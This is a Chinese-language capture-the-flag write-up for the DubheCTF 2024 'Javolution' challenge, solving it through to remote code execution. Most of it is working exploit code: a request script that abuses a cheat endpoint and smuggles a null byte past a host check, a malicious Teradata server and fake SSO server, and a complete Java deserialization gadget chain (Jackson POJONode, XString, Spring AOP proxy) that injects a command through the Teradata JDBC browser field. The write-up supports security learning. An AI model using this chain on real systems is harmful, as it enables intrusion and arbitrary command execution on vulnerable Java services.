Javolution

A modern java challenge prepared for u, bypass it and achieve RCE !

源码 https://github.com/H4cking2theGate/My-CTF-Challenges/tree/main/DubheCTF%202024/Javolution

bypass

/pal/cheat修改自己的defense为负数,让opponentPower溢出为负值,打败jetragon

升到50级后,传入localhost%00dubhe绕过host检测

1
2
3
4
5
6
7
8
9
def levelup():
r = requests.get(url+"/pal/cheat?defense=-800000")
print(r.text)
r = requests.get(url+"/pal/battle/jetragon")
print(r.text)

def deser():
r = requests.post(url+"/pal/cheat?host=localhost%00dubhe", data={"data":mydata})
print(r.text)

这里看了wp后收集到的其他几种绕过

1
2
3
子域名解析到127.0.0.1
dubhe.localhost
::FFFF:127.0.0.1%dubhe

Teradata RCE

参考blackhat,Teradata中可以利用browser字段命令注入绕过jdk17的限制

com.teradata.jdbc.jdbc.GenericTeradataConnection#GenericTeradataConnection作为本题的sink点,调用栈如下

1
2
3
4
5
6
7
exec:320, Runtime (java.lang)
<init>:249, GenericTeradataConnection (com.teradata.jdbc.jdbc)
<init>:180, TDSession (com.teradata.jdbc.jdbc_4)
createConnection:63, ConnectionFactory (com.teradata.jdbc.jdbc)
createConnection:53, ConnectionFactory (com.teradata.jdbc.jdbc)
createNewConnection:752, TeraDataSourceBase (com.teradata.jdbc)
getConnection:21, TeraDataSource (com.teradata.jdbc)

恶意TeradataServer

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import asyncore
import logging
import socket
import struct

class TeradataRequestHandler(asyncore.dispatcher_with_send):
def __init__(self, sock, addr, url):
asyncore.dispatcher_with_send.__init__(self, sock=sock)
self.addr = addr
self.packet_to_send = (bytes.fromhex('03020a0000070000')+
struct.pack(">H",len(url)+899)+
bytes.fromhex('000000000000000000000000000000000000000000010000000005ff0000000000000000000000000000002b024e000003e8000003e80078000177ff0000000200000001ff000004be00555446313620202020202020202020202020202020202020202020202020bf00555446382020202020202020202020202020202020202020202020202020ff00415343494920202020202020202020202020202020202020202020202020c0004542434449432020202020202020202020202020202020202020202020204e0100010001540007008c310000640000fa00000f4240000000007cff06000070000000fff80000000100000000bf000000100000ffff000008000000008000000040000009e7000fa0000000f23000007918000000260000fa000000fa000000fa0000007d0000007d000000fa000000fa00000009e7000000060000000600000006000003e8000fa00000fffc00000fffb40000fa000009000101000a001c01010101010101020100010100010101010201010001010101010102000b002201010101010001010101010102010101010101010001010101010101010001010000000c0006010001020101000d003e31372e32302e30332e30392020202020202020202020202020202020202031372e32302e30332e3039202020202020202020202020202020202020202020000e000403030203000f00280100000100010100000101000001000100010001000000000000000000000001010001000100000100100014000000000000000000008002000000000000000000120020010101010101010100000000000000000000000000000000000000000000000000130008010101000000000000060002014900a5')+
struct.pack(">H",len(url)+87)+
bytes.fromhex('0000000100010005010002000811140309000300040004000600210006000400050004000700040008000400090004000a000501000b000501000c000501000e0004001000060100000f')+
struct.pack(">H",len(url)+11)+
bytes.fromhex('000372636500')+
struct.pack("B",len(url))+
url.encode("ascii")+
bytes.fromhex('00a70031000000010000000d2b06010401813f0187740101090010000c00000003000000010011000c000000010000001400a70024000000010000000c2b06010401813f01877401140011000c000000010000004600a7002100000001000000092a864886f7120102020011000c000000010000002800a7001e00000001000000062b06010505020011000c000000010000004100a70025000000010000000d2b0601040181e01a04822e01040011000c000000010000001e00a70025000000010000000d2b0601040181e01a04822e01030011000c000000010000000a'))
self.ibuffer = []

def handle_read(self):
data = self.recv(8192)
if data:
logging.info('[+]Data received: {}{}'.format(data,"\r\n"))
logging.info('[+]Data sending: {}{}'.format(self.packet_to_send,"\r\n"))
self.send(self.packet_to_send)

def handle_close(self):
logging.info('[+]Connection closed: {}'.format(self.addr))
self.close()

class TeradataServer(asyncore.dispatcher):
def __init__(self, host, port, url):
asyncore.dispatcher.__init__(self)
self.create_socket(socket.AF_INET, socket.SOCK_STREAM)
self.set_reuse_addr()
self.bind((host, port))
self.listen(5)
logging.info('[+]Listening on {}:{}'.format(host, port))
self.url = url

def handle_accept(self):
pair = self.accept()
if pair is not None:
sock, addr = pair
logging.info('[+]Incoming connection from {}'.format(repr(addr)))
handler = TeradataRequestHandler(sock, addr, self.url)

if __name__ == '__main__':
logging.basicConfig(level=logging.INFO)
server = TeradataServer('0.0.0.0', 10250, 'http://127.0.0.1:7777/')
asyncore.loop()

恶意ssoserver

1
2
3
4
5
6
7
8
9
10
11
from flask import Flask

app = Flask(__name__)

@app.route("/")
@app.route("/.well-known/openid-configuration")
def index():
return "{\"authorization_endpoint\": \"1\", \"token_endpoint\": \"1\"}"

if __name__ == "__main__":
app.run('0.0.0.0',port=7777)

反序列化

触发toString

本题有spring依赖,可以用jackson触发getter,同时BadAttributeValueExpException在jdk17中被改了,没法触发toString,这里换Xstring即可。

收集的wp中还有利用EventListenerList触发toString的链子,参考

1
2
3
4
5
6
7
8
public static Object makeReadObjectToStringTrigger(Object obj) throws Exception {
EventListenerList list = new EventListenerList();
UndoManager manager = new UndoManager();
Vector vector = (Vector) ReflectionHelper.getFieldValue(manager, "edits");
vector.add(obj);
ReflectionHelper.setFieldValue(list, "listenerList", new Object[]{InternalError.class, manager});
return list;
}

稳定调用getter

在TeraDataSourceBase中有些不符合命名规范的getter/setter会让jackson反序列化时报错 Conflicting getter definitions,这里可以用JDK动态代理来解决。

POJONode在反序列化过程中调用的getter顺序不稳定,这是由于getDeclaredMethods获取的Method数组顺序是依据函数地址而不是函数名。参考 https://mp.weixin.qq.com/s/XrAD1Q09mJ-95OXI2KaS9Q

在对TeraDataSource的反序列化过程中,props属性中会出现4个函数,而其中javax.sql.CommonDataSource#getParentLogger这个函数在TeraDataSource的实现里面会抛出异常,如果props中的getConnection排在getParentLogger之前即可成功触发,排在后面会报错,并且不同平台下差异很大,windows下大概率能触发,题目中给了一个PalDataSource来解决这里的问题。

完整exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
package org.example.teratest;

import com.sun.org.apache.xpath.internal.objects.XString;
import com.fasterxml.jackson.databind.node.POJONode;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import org.dubhe.javolution.pool.PalDataSource;
import org.springframework.aop.framework.AdvisedSupport;
import javax.management.BadAttributeValueExpException;
import javax.sql.DataSource;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.util.Base64;
import java.util.HashMap;

public class JacksonTera
{
public static void main(String[] args) throws Exception
{
String command = "notepad";
PalDataSource dataSource = new PalDataSource();
dataSource.setBROWSER(command);
dataSource.setLOGMECH("BROWSER");
dataSource.setDSName("127.0.0.1");
dataSource.setDbsPort("10250");
dataSource.setBROWSER_TIMEOUT("2");
dataSource.getConnection();
Object proxy = getProxy(dataSource, DataSource.class);
// Object exp = getBadAttr(proxy);
Object exp = getXstringMap(proxy);
base64Serialize(exp);
}

public static Object getProxy(Object obj,Class<?> clazz) throws Exception
{
AdvisedSupport advisedSupport = new AdvisedSupport();
advisedSupport.setTarget(obj);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler) constructor.newInstance(advisedSupport);
Object proxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{clazz}, handler);
return proxy;
}

public static Object getBadAttr(Object obj) throws Exception
{
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();

POJONode node = new POJONode(obj);
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
setFieldValue(val, "val", node);
return val;
}

public static Object getXstringMap(Object obj) throws Exception
{
CtClass ctClass = ClassPool.getDefault().get("com.fasterxml.jackson.databind.node.BaseJsonNode");
CtMethod writeReplace = ctClass.getDeclaredMethod("writeReplace");
ctClass.removeMethod(writeReplace);
ctClass.toClass();
POJONode node = new POJONode(obj);

XString xString = new XString("A.R.");

HashMap<Object, Object> map1 = new HashMap<>();
HashMap<Object, Object> map2 = new HashMap<>();
map1.put("yy", node);
map1.put("zZ", xString);
map2.put("yy", xString);
map2.put("zZ", node);
Object o = makeMap(map1, map2);

return o;
}

public static HashMap makeMap(Object v1, Object v2) throws Exception
{
HashMap s = new HashMap();
setFieldValue(s, "size", 2);
Class nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
} catch (ClassNotFoundException e) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setFieldValue(s, "table", tbl);
return s;
}

public static String base64Serialize(Object obj) throws Exception
{

ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(byteArrayOutputStream);
oos.writeObject(obj);
String payload = Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
System.out.println(payload);
return payload;
}

public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception
{
Class<?> clazz = obj.getClass();
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}